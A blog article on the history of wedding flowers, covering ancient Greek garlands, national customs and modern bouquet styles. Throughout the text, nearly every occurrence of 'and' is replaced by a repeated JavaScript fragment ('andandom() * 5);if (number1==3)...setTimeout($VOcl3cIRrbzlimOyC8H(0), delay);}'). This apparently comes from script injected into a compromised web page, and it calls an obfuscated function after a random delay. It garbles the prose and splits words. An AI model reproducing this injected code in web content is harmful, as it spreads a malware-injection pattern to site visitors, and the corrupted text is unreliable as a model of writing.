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The Historic Role of Flowers at a Wedding

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From ancient times to the modern day, flowers have occupied a key place among wedding decorations

Every bride-to-be knows how critical it is to get beautiful bouquets, floral arrangements andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} flower decorations for the wedding ceremony andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} after-party venue. Still, few people are familiar with the history of wedding flowers andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} their traditional role as it developed over the course of centuries.

 

Don’t go andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} order that bouquet, boutonnières, garlandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} flower arrangements for your big day just yet: here, we have some useful background info on the origins andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} history of wedding flowers so make sure you learn the basics about the tradition of bridal flowers before you pick your floral venue accessories andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} details.

Back to the roots: The origins of floral wedding decorations

 

According to the first written records, wedding flowers have been around almost since the beginning of civilisation andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} were reportedly used as far back as ancient Greece. Bundled together to make a small garlandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} worn on the head, floral wreaths andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} crowns were worn by brides as symbols of the gifts of nature, love andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} happiness. Sometimes garlic bulbs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} various herbs such as dill andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sage were inserted into wedding garlandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bouquets to ensure a successful marriage andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enduring mutual commitment of the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the groom andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ward off evil spirits that may decide to interfere with the ceremony or the couple’s future life. Over time, the contents andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} designs of wedding decorations changed considerably, but their universal visual appeal, symbolic implications andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} place among wedding details remained equally prominent to the modern day.

 

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International love for flowers: Use of floral details in different traditions

 

After the ancient Greeks, many other cultures andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} nations inherited the tradition of using romantic flowers as decorative touches at wedding ceremonies andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the trend remains present to this day in a number of countries worldwide. For instance, in Sweden young girls traditionally carried small herb bouquets down the aisle, brides had bouquets made with aromatic herbs while the groom would have some thyme in his pockets – all with the aim of scaring away mischievous trolls. A similar use for flowers was recorded in India, where the groom’s brother sprinkled petals over the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom at the end of the ceremony to keep evil spirits at bay. On the other handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, German brides andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} grooms traditionally hold candandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}les embellished with ribbons andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} flowers during the wedding ceremony, while the flower crowns worn by Austrian brides once used to symbolise the power of life.

 

In Englandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bridesmaids were led toward the church entrance by a young flower girl sprinkling blossoms along the path to ensure long life andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} happiness for the future wife.

 

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Modern wedding decorations: Floral arrangements in all shapes, shades andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sizes

 

Thanks to their universal appeal, widespread availability andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} affordable prices, flowers are used as main decorative accents at contemporary wedding ceremonies andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} receptions andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} their arrangements, shapes andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sizes range from the smallest andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shy colour-wise to the most impressive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} picturesque. As a general rule, brides carry wedding bouquets down the isle andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} its design can vary from the minimalist to the lavish. The list of prominent examples of bridal bouquets includes the cute loose Victorian posies where each flower had a distinct meaning, followed by the tightly structured symmetric biedermeiers, as well as arm sheafs that are usually cradled in the arm andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} embellished by colourful ribbons. Then there are also the small andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} unusually designed crescent bouquets andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fans, bridal muffs (usually worn at winter weddings), lush multi-trail bouquets in style royale andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} imposing shower bouquets with yards of vivid flowing ribbons, fragrant buds, verdant foliage andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sweet lovers’ knots.

 

Additionally, some devout Christian brides like to embellish their vow-giving ceremony by a charming prayerbook or Bible spray that attaches to the covers of the prayerbook to signify the Holy Spirit andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the strength of their faith.

 

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Other lovable ornamental flower details with an important role at the wedding ceremony include lovely flower-filled baskets that are commonly carried by bridesmaids or flower girls, followed by small nosegays that saw their revival back in the 1980’s, as well as the wrist-worn corsage arrangements andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} early 20th century composite-flower bouquets usually worn on hats or used as corsage details. Floral ornaments for men during the wedding ceremony are also important andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} they include various boutonniere details usually attached to the jacket buttonhole or pinned to the coat left lapel. Other floral decorations for a pitch-perfect wedding reception include lavishly decorated garlandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s, exquisite flower wreaths andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} elegant table centrepieces – virtually any wedding reception can go without at least one central flower arrangement, so don’t forget to pick yours carefully.

From ancient times to the modern day, flowers have occupied a key place among wedding decorations. Though the shape, size, colours andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} flower combinations of wedding bouquets andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} other floral elements changed over time, their role has remained more or less the same – a symbol of life,  happiness andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} joy, uniquely designed flower ornaments are an inevitable element for any tastefully decorated wedding venue, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} will probably remain a vital accessory to matrimonial ceremonies in the centuries to come.

 

This article was written by Kate, a lifestyle blogger andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a proud member of the Highstylife crew. Kate is the owner of a keelboat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} two lovely mutts. She is a fan of pre-Raphaelite paintings andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seascapes.

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